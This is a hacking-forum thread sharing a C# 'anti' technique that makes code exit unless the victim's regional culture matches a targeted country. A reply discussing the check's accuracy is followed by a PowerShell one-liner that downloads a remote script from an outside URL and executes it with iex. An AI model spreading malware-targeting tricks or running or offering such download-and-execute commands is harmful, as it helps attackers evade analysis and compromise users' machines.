Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

[Anti] Compare the country the PC uses

Here's a simple, but sometimes very effective anti method. It can be used to check whether their computer's country name equals the one you want to target.

So if I only want this to execute on computers in Finland, I would write something like:

Code
bool isFinland = string.Equals(GetCurrentCountry(),
                                    "Finland",
                                    StringComparison.InvariantCultureIgnoreCase);
            if (!isFinland)
                return -1;

[Image: Syr3DlV.png]
This is based off of region culture, pretty much what ever language is setup on the machine. I would say this isn’t very accurate at all, my computer states that I’m in France when I’m in the United States because of how I have my language setup.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by F.A.S.TNov 2, 2018 03:35 PM 1 147 Nov 2, 2018 03:35 PM
Last Post: Auriana
[Shell] by HackooMay 16, 2018 01:05 PM 14 409 May 16, 2018 01:05 PM
Last Post: HFDone
[C] by Caleb™Mar 2, 2017 06:16 PM 7 490 Mar 2, 2017 06:16 PM
Last Post: oxagast